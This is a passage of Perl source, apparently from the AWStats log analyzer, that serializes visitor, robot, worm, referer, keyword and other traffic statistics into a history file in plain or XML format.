6607					print HISTORYTMP
6608"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6609				}
6610			}
6611			else {
6612				my $hostl = $timehostl || '';
6613				print HISTORYTMP
6614"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6615			}
6616		}
6617		foreach my $key ( keys %_host_h ) {
6618			if ( $keysinkeylist{$key} ) { next; }
6619			if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6620				$monthhostsknown++;
6621			}
6622			my $page      = $_host_p{$key} || 0;
6623			my $bytes     = $_host_k{$key} || 0;
6624			my $timehostl = $_host_l{$key} || 0;
6625			my $timehosts = $_host_s{$key} || 0;
6626			my $lastpage  = $_host_u{$key} || '';
6627			if ( $timehostl && $timehosts && $lastpage ) {
6628				if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6629
6630					# Session for this user is expired
6631					if ($timehosts) {
6632						$_session{ GetSessionRange( $timehosts, $timehostl ) }
6633						  ++;
6634					}
6635					if ($lastpage) { $_url_x{$lastpage}++; }
6636					delete $_host_s{$key};
6637					delete $_host_u{$key};
6638					print HISTORYTMP
6639"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6640				}
6641				else {
6642
6643					# If this user has started a new session that is not expired
6644					print HISTORYTMP
6645"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6646				}
6647			}
6648			else {
6649				my $hostl = $timehostl || '';
6650				print HISTORYTMP
6651"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6652			}
6653		}
6654		$MonthUnique{ $year . $month }       = ( scalar keys %_host_p );
6655		$MonthHostsKnown{ $year . $month }   = $monthhostsknown;
6656		$MonthHostsUnknown{ $year . $month } =
6657		  ( scalar keys %_host_h ) - $monthhostsknown;
6658		print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
6659	}
6660	if ( $sectiontosave eq 'login' ) {
6661		print HISTORYTMP "\n";
6662		if ($xml) {
6663			print HISTORYTMP
6664"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
6665		}
6666		print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
6667		print HISTORYTMP
6668"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
6669		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6670		print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
6671		  . ( scalar keys %_login_h )
6672		  . "${xmlbe}\n";
6673
6674# We save login list in score sorted order to get a -output faster and with less use of memory.
6675		&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
6676			\%_login_p );
6677		my %keysinkeylist = ();
6678		foreach (@keylist) {
6679			$keysinkeylist{$_} = 1;
6680			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6681			  . int( $_login_p{$_} || 0 )
6682			  . "${xmlrs}"
6683			  . int( $_login_h{$_} || 0 )
6684			  . "${xmlrs}"
6685			  . int( $_login_k{$_} || 0 )
6686			  . "${xmlrs}"
6687			  . ( $_login_l{$_} || '' )
6688			  . "${xmlre}\n";
6689		}
6690		foreach ( keys %_login_h ) {
6691			if ( $keysinkeylist{$_} ) { next; }
6692			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6693			  . int( $_login_p{$_} || 0 )
6694			  . "${xmlrs}"
6695			  . int( $_login_h{$_} || 0 )
6696			  . "${xmlrs}"
6697			  . int( $_login_k{$_} || 0 )
6698			  . "${xmlrs}"
6699			  . ( $_login_l{$_} || '' )
6700			  . "${xmlre}\n";
6701		}
6702		print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
6703	}
6704	if ( $sectiontosave eq 'robot' ) {
6705		print HISTORYTMP "\n";
6706		if ($xml) {
6707			print HISTORYTMP
6708"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
6709		}
6710		print HISTORYTMP
6711		  "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
6712		print HISTORYTMP
6713"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
6714		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6715		print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
6716		  . ( scalar keys %_robot_h )
6717		  . "${xmlbe}\n";
6718
6719# We save robot list in score sorted order to get a -output faster and with less use of memory.
6720		&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
6721			\%_robot_h );
6722		my %keysinkeylist = ();
6723		foreach (@keylist) {
6724			$keysinkeylist{$_} = 1;
6725			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6726			  . int( $_robot_h{$_} )
6727			  . "${xmlrs}"
6728			  . int( $_robot_k{$_} )
6729			  . "${xmlrs}$_robot_l{$_}${xmlrs}"
6730			  . int( $_robot_r{$_} || 0 )
6731			  . "${xmlre}\n";
6732		}
6733		foreach ( keys %_robot_h ) {
6734			if ( $keysinkeylist{$_} ) { next; }
6735			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6736			  . int( $_robot_h{$_} )
6737			  . "${xmlrs}"
6738			  . int( $_robot_k{$_} )
6739			  . "${xmlrs}$_robot_l{$_}${xmlrs}"
6740			  . int( $_robot_r{$_} || 0 )
6741			  . "${xmlre}\n";
6742		}
6743		print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
6744	}
6745	if ( $sectiontosave eq 'worms' ) {
6746		print HISTORYTMP "\n";
6747		if ($xml) {
6748			print HISTORYTMP
6749"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
6750		}
6751		print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
6752		print HISTORYTMP
6753"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
6754		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6755		print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
6756		  . ( scalar keys %_worm_h )
6757		  . "${xmlbe}\n";
6758
6759# We save worm list in score sorted order to get a -output faster and with less use of memory.
6760		&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
6761			\%_worm_h );
6762		my %keysinkeylist = ();
6763		foreach (@keylist) {
6764			$keysinkeylist{$_} = 1;
6765			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6766			  . int( $_worm_h{$_} )
6767			  . "${xmlrs}"
6768			  . int( $_worm_k{$_} )
6769			  . "${xmlrs}$_worm_l{$_}${xmlre}\n";
6770		}
6771		foreach ( keys %_worm_h ) {
6772			if ( $keysinkeylist{$_} ) { next; }
6773			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6774			  . int( $_worm_h{$_} )
6775			  . "${xmlrs}"
6776			  . int( $_worm_k{$_} )
6777			  . "${xmlrs}$_worm_l{$_}${xmlre}\n";
6778		}
6779		print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
6780	}
6781	if ( $sectiontosave eq 'emailsender' ) {
6782		print HISTORYTMP "\n";
6783		if ($xml) {
6784			print HISTORYTMP
6785"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6786		}
6787		print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6788		print HISTORYTMP
6789"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
6790		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6791		print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
6792		  . ( scalar keys %_emails_h )
6793		  . "${xmlbe}\n";
6794
6795# We save sender email list in score sorted order to get a -output faster and with less use of memory.
6796		&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
6797			\%_emails_h );
6798		my %keysinkeylist = ();
6799		foreach (@keylist) {
6800			$keysinkeylist{$_} = 1;
6801			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6802			  . int( $_emails_h{$_} || 0 )
6803			  . "${xmlrs}"
6804			  . int( $_emails_k{$_} || 0 )
6805			  . "${xmlrs}$_emails_l{$_}${xmlre}\n";
6806		}
6807		foreach ( keys %_emails_h ) {
6808			if ( $keysinkeylist{$_} ) { next; }
6809			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6810			  . int( $_emails_h{$_} || 0 )
6811			  . "${xmlrs}"
6812			  . int( $_emails_k{$_} || 0 )
6813			  . "${xmlrs}$_emails_l{$_}${xmlre}\n";
6814		}
6815		print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
6816	}
6817	if ( $sectiontosave eq 'emailreceiver' ) {
6818		print HISTORYTMP "\n";
6819		if ($xml) {
6820			print HISTORYTMP
6821"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6822		}
6823		print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6824		print HISTORYTMP
6825"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
6826		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6827		print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
6828		  . ( scalar keys %_emailr_h )
6829		  . "${xmlbe}\n";
6830
6831# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
6832		&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
6833			\%_emailr_h );
6834		my %keysinkeylist = ();
6835		foreach (@keylist) {
6836			$keysinkeylist{$_} = 1;
6837			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6838			  . int( $_emailr_h{$_} || 0 )
6839			  . "${xmlrs}"
6840			  . int( $_emailr_k{$_} || 0 )
6841			  . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6842		}
6843		foreach ( keys %_emailr_h ) {
6844			if ( $keysinkeylist{$_} ) { next; }
6845			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6846			  . int( $_emailr_h{$_} || 0 )
6847			  . "${xmlrs}"
6848			  . int( $_emailr_k{$_} || 0 )
6849			  . "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6850		}
6851		print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
6852	}
6853
6854	# Navigation
6855	if ( $sectiontosave eq 'session' )
6856	{    # This section must be saved after VISITOR section is read
6857		print HISTORYTMP "\n";
6858		if ($xml) {
6859			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6860		}
6861		print HISTORYTMP "# Session range - Number of visits\n";
6862		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6863		print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
6864		  . ( scalar keys %_session )
6865		  . "${xmlbe}\n";
6866		foreach ( keys %_session ) {
6867			print HISTORYTMP "${xmlrb}$_${xmlrs}"
6868			  . int( $_session{$_} )
6869			  . "${xmlre}\n";
6870		}
6871		print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
6872	}
6873	if ( $sectiontosave eq 'sider' )
6874	{    # This section must be saved after VISITOR section is read
6875		print HISTORYTMP "\n";
6876		if ($xml) {
6877			print HISTORYTMP
6878"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
6879		}
6880		print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
6881		print HISTORYTMP
6882"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
6883		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6884		print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
6885		  . ( scalar keys %_url_p )
6886		  . "${xmlbe}\n";
6887
6888# We save page list in score sorted order to get a -output faster and with less use of memory.
6889		&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
6890			\%_url_p );
6891		%keysinkeylist = ();
6892		foreach (@keylist) {
6893			$keysinkeylist{$_} = 1;
6894			my $newkey = $_;
6895			$newkey =~ s/([^:])\/\//$1\//g
6896			  ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6897			print HISTORYTMP "${xmlrb}"
6898			  . XMLEncodeForHisto($newkey)
6899			  . "${xmlrs}"
6900			  . int( $_url_p{$_} || 0 )
6901			  . "${xmlrs}"
6902			  . int( $_url_k{$_} || 0 )
6903			  . "${xmlrs}"
6904			  . int( $_url_e{$_} || 0 )
6905			  . "${xmlrs}"
6906			  . int( $_url_x{$_} || 0 )
6907			  . "${xmlre}\n";
6908		}
6909		foreach ( keys %_url_p ) {
6910			if ( $keysinkeylist{$_} ) { next; }
6911			my $newkey = $_;
6912			$newkey =~ s/([^:])\/\//$1\//g
6913			  ; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6914			print HISTORYTMP "${xmlrb}"
6915			  . XMLEncodeForHisto($newkey)
6916			  . "${xmlrs}"
6917			  . int( $_url_p{$_} || 0 )
6918			  . "${xmlrs}"
6919			  . int( $_url_k{$_} || 0 )
6920			  . "${xmlrs}"
6921			  . int( $_url_e{$_} || 0 )
6922			  . "${xmlrs}"
6923			  . int( $_url_x{$_} || 0 )
6924			  . "${xmlre}\n";
6925		}
6926		print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
6927	}
6928	if ( $sectiontosave eq 'filetypes' ) {
6929		print HISTORYTMP "\n";
6930		if ($xml) {
6931			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6932		}
6933		print HISTORYTMP
6934"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
6935		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6936		print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
6937		  . ( scalar keys %_filetypes_h )
6938		  . "${xmlbe}\n";
6939		foreach ( keys %_filetypes_h ) {
6940			my $hits        = $_filetypes_h{$_}      || 0;
6941			my $bytes       = $_filetypes_k{$_}      || 0;
6942			my $bytesbefore = $_filetypes_gz_in{$_}  || 0;
6943			my $bytesafter  = $_filetypes_gz_out{$_} || 0;
6944			print HISTORYTMP
6945"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
6946		}
6947		print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
6948	}
6949	if ( $sectiontosave eq 'downloads' ) {
6950		print HISTORYTMP "\n";
6951		if ($xml) {
6952			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6953		}
6954		print HISTORYTMP "# Downloads - Hits - Bandwidth\n";
6955		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6956		print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}"
6957		  . ( scalar keys %_downloads )
6958		  . "${xmlbe}\n";
6959		for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
6960			print HISTORYTMP "${xmlrb}"
6961			  . XMLEncodeForHisto($u)
6962			  . "${xmlrs}"
6963			  . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0)
6964			  . "${xmlrs}"
6965			  . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0)
6966			  ."${xmlrs}"
6967			  . XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0)
6968			  ."${xmlre}\n";
6969		}
6970		print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n";
6971	}
6972	if ( $sectiontosave eq 'os' ) {
6973		print HISTORYTMP "\n";
6974		if ($xml) {
6975			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6976		}
6977		print HISTORYTMP "# OS ID - Hits\n";
6978		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6979		print HISTORYTMP "${xmlbb}BEGIN_OS ID - Hits - Pages${xmlbs}"
6980		  . ( scalar keys %_os_h )
6981		  . "${xmlbe}\n";
6982		foreach ( keys %_os_h ) {
6983			my $hits        = $_os_h{$_}      || 0;
6984			my $pages       = $_os_p{$_}      || 0;
6985			print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n";
6986		}
6987		print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
6988	}
6989	if ( $sectiontosave eq 'browser' ) {
6990		print HISTORYTMP "\n";
6991		if ($xml) {
6992			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6993		}
6994		print HISTORYTMP "# Browser ID - Hits - Pages\n";
6995		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6996		print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
6997		  . ( scalar keys %_browser_h )
6998		  . "${xmlbe}\n";
6999		foreach ( keys %_browser_h ) {
7000			my $hits        = $_browser_h{$_}      || 0;
7001			my $pages       = $_browser_p{$_}      || 0;
7002			print HISTORYTMP "${xmlrb}$_${xmlrs}$hits${xmlrs}$pages${xmlre}\n";
7003		}
7004		print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
7005	}
7006	if ( $sectiontosave eq 'screensize' ) {
7007		print HISTORYTMP "\n";
7008		if ($xml) {
7009			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7010		}
7011		print HISTORYTMP "# Screen size - Hits\n";
7012		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7013		print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
7014		  . ( scalar keys %_screensize_h )
7015		  . "${xmlbe}\n";
7016		foreach ( keys %_screensize_h ) {
7017			print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
7018		}
7019		print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
7020	}
7021
7022	# Referer
7023	if ( $sectiontosave eq 'unknownreferer' ) {
7024		print HISTORYTMP "\n";
7025		if ($xml) {
7026			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7027		}
7028		print HISTORYTMP "# Unknown referer OS - Last visit date\n";
7029		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7030		print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
7031		  . ( scalar keys %_unknownreferer_l )
7032		  . "${xmlbe}\n";
7033		foreach ( keys %_unknownreferer_l ) {
7034			print HISTORYTMP "${xmlrb}"
7035			  . XMLEncodeForHisto($_)
7036			  . "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
7037		}
7038		print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
7039	}
7040	if ( $sectiontosave eq 'unknownrefererbrowser' ) {
7041		print HISTORYTMP "\n";
7042		if ($xml) {
7043			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7044		}
7045		print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
7046		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7047		print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
7048		  . ( scalar keys %_unknownrefererbrowser_l )
7049		  . "${xmlbe}\n";
7050		foreach ( keys %_unknownrefererbrowser_l ) {
7051			print HISTORYTMP "${xmlrb}"
7052			  . XMLEncodeForHisto($_)
7053			  . "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
7054		}
7055		print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
7056	}
7057	if ( $sectiontosave eq 'origin' ) {
7058		print HISTORYTMP "\n";
7059		if ($xml) {
7060			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7061		}
7062		print HISTORYTMP "# Origin - Pages - Hits \n";
7063		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7064		print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
7065		print HISTORYTMP "${xmlrb}From0${xmlrs}"
7066		  . int( $_from_p[0] )
7067		  . "${xmlrs}"
7068		  . int( $_from_h[0] )
7069		  . "${xmlre}\n";
7070		print HISTORYTMP "${xmlrb}From1${xmlrs}"
7071		  . int( $_from_p[1] )
7072		  . "${xmlrs}"
7073		  . int( $_from_h[1] )
7074		  . "${xmlre}\n";
7075		print HISTORYTMP "${xmlrb}From2${xmlrs}"
7076		  . int( $_from_p[2] )
7077		  . "${xmlrs}"
7078		  . int( $_from_h[2] )
7079		  . "${xmlre}\n";
7080		print HISTORYTMP "${xmlrb}From3${xmlrs}"
7081		  . int( $_from_p[3] )
7082		  . "${xmlrs}"
7083		  . int( $_from_h[3] )
7084		  . "${xmlre}\n";
7085		print HISTORYTMP "${xmlrb}From4${xmlrs}"
7086		  . int( $_from_p[4] )
7087		  . "${xmlrs}"
7088		  . int( $_from_h[4] )
7089		  . "${xmlre}\n";    # Same site
7090		print HISTORYTMP "${xmlrb}From5${xmlrs}"
7091		  . int( $_from_p[5] )
7092		  . "${xmlrs}"
7093		  . int( $_from_h[5] )
7094		  . "${xmlre}\n";    # News
7095		print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
7096	}
7097	if ( $sectiontosave eq 'sereferrals' ) {
7098		print HISTORYTMP "\n";
7099		if ($xml) {
7100			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7101		}
7102		print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
7103		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7104		print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
7105		  . ( scalar keys %_se_referrals_h )
7106		  . "${xmlbe}\n";
7107		foreach ( keys %_se_referrals_h ) {
7108			print HISTORYTMP "${xmlrb}$_${xmlrs}"
7109			  . int( $_se_referrals_p{$_} || 0 )
7110			  . "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
7111		}
7112		print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
7113	}
7114	if ( $sectiontosave eq 'pagerefs' ) {
7115		print HISTORYTMP "\n";
7116		if ($xml) {
7117			print HISTORYTMP
7118"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
7119		}
7120		print HISTORYTMP "# External page referers - Pages - Hits\n";
7121		print HISTORYTMP
7122"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
7123		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7124		print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
7125		  . ( scalar keys %_pagesrefs_h )
7126		  . "${xmlbe}\n";
7127
7128# We save page list in score sorted order to get a -output faster and with less use of memory.
7129		&BuildKeyList(
7130			$MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
7131			\%_pagesrefs_h,           \%_pagesrefs_p
7132		);
7133		%keysinkeylist = ();
7134		foreach (@keylist) {
7135			$keysinkeylist{$_} = 1;
7136			my $newkey = $_;
7137			$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
7138			  ; # Remove / at end of http://.../ but not at end of http://.../dir/
7139			print HISTORYTMP "${xmlrb}"
7140			  . XMLEncodeForHisto($newkey)
7141			  . "${xmlrs}"
7142			  . int( $_pagesrefs_p{$_} || 0 )
7143			  . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
7144		}
7145		foreach ( keys %_pagesrefs_h ) {
7146			if ( $keysinkeylist{$_} ) { next; }
7147			my $newkey = $_;
7148			$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
7149			  ; # Remove / at end of http://.../ but not at end of http://.../dir/
7150			print HISTORYTMP "${xmlrb}"
7151			  . XMLEncodeForHisto($newkey)
7152			  . "${xmlrs}"
7153			  . int( $_pagesrefs_p{$_} || 0 )
7154			  . "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
7155		}
7156		print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
7157	}
7158	if ( $sectiontosave eq 'searchwords' ) {
7159
7160		# Save phrases section
7161		print HISTORYTMP "\n";
7162		if ($xml) {
7163			print HISTORYTMP
7164"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
7165		}
7166		print HISTORYTMP "# Search keyphrases - Number of search\n";
7167		print HISTORYTMP
7168"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
7169		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7170		print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
7171		  . ( scalar keys %_keyphrases )
7172		  . "${xmlbe}\n";
7173
7174		# We will also build _keywords
7175		%_keywords = ();
7176
7177# We save key list in score sorted order to get a -output faster and with less use of memory.
7178		&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7179			$MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
7180		%keysinkeylist = ();
7181		foreach my $key (@keylist) {
7182			$keysinkeylist{$key} = 1;
7183			my $keyphrase = $key;
7184			$keyphrase =~ tr/ /\+/s;
7185			print HISTORYTMP "${xmlrb}"
7186			  . XMLEncodeForHisto($keyphrase)
7187			  . "${xmlrs}"
7188			  . $_keyphrases{$key}
7189			  . "${xmlre}\n";
7190			foreach ( split( /\+/, $key ) ) {
7191				$_keywords{$_} += $_keyphrases{$key};
7192			}    # To init %_keywords
7193		}
7194		foreach my $key ( keys %_keyphrases ) {
7195			if ( $keysinkeylist{$key} ) { next; }
7196			my $keyphrase = $key;
7197			$keyphrase =~ tr/ /\+/s;
7198			print HISTORYTMP "${xmlrb}"
7199			  . XMLEncodeForHisto($keyphrase)
7200			  . "${xmlrs}"
7201			  . $_keyphrases{$key}
7202			  . "${xmlre}\n";
7203			foreach ( split( /\+/, $key ) ) {
7204				$_keywords{$_} += $_keyphrases{$key};
7205			}    # To init %_keywords
7206		}
7207		print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
7208
7209		# Now save keywords section
7210		print HISTORYTMP "\n";
7211		if ($xml) {
7212			print HISTORYTMP
7213"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
7214		}
7215		print HISTORYTMP "# Search keywords - Number of search\n";
7216		print HISTORYTMP
7217"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
7218		$ValueInFile{"keywords"} = tell HISTORYTMP;
7219		print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
7220		  . ( scalar keys %_keywords )
7221		  . "${xmlbe}\n";
7222
7223# We save key list in score sorted order to get a -output faster and with less use of memory.
7224		&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7225			$MinHit{'Keyword'}, \%_keywords, \%_keywords );
7226		%keysinkeylist = ();
7227		foreach (@keylist) {
7228			$keysinkeylist{$_} = 1;
7229			my $keyword = $_;
7230			print HISTORYTMP "${xmlrb}"
7231			  . XMLEncodeForHisto($keyword)
7232			  . "${xmlrs}"
7233			  . $_keywords{$_}
7234			  . "${xmlre}\n";
7235		}
7236		foreach ( keys %_keywords ) {
7237			if ( $keysinkeylist{$_} ) { next; }
7238			my $keyword = $_;
7239			print HISTORYTMP "${xmlrb}"
7240			  . XMLEncodeForHisto($keyword)
7241			  . "${xmlrs}"
7242			  . $_keywords{$_}
7243			  . "${xmlre}\n";
7244		}
7245		print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
7246
7247	}
7248
7249	# Other - Errors
7250	if ( $sectiontosave eq 'cluster' ) {
7251		print HISTORYTMP "\n";
7252		if ($xml) {
7253			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7254		}
7255		print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
7256		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7257		print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
7258		  . ( scalar keys %_cluster_h )
7259		  . "${xmlbe}\n";
7260		foreach ( keys %_cluster_h ) {
7261			print HISTORYTMP "${xmlrb}$_${xmlrs}"
7262			  . int( $_cluster_p{$_} || 0 )
7263			  . "${xmlrs}"
7264			  . int( $_cluster_h{$_} || 0 )
7265			  . "${xmlrs}"
7266			  . int( $_cluster_k{$_} || 0 )
7267			  . "${xmlre}\n";
7268		}
7269		print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
7270	}
7271	if ( $sectiontosave eq 'misc' ) {
7272		print HISTORYTMP "\n";
7273		if ($xml) {
7274			print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7275		}
7276		print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
7277		$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7278		print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
7279		  . ( scalar keys %MiscListCalc )
7280		  . "${xmlbe}\n";
7281		foreach ( keys %MiscListCalc ) {
7282			print HISTORYTMP "${xmlrb}$_${xmlrs}"
7283			  . int( $_misc_p{$_} || 0 )
7284			  . "${xmlrs}"
7285			  . int( $_misc_h{$_} || 0 )
7286			  . "${xmlrs}"
7287			  . int( $_misc_k{$_} || 0 )
7288			  . "${xmlre}\n";
7289		}
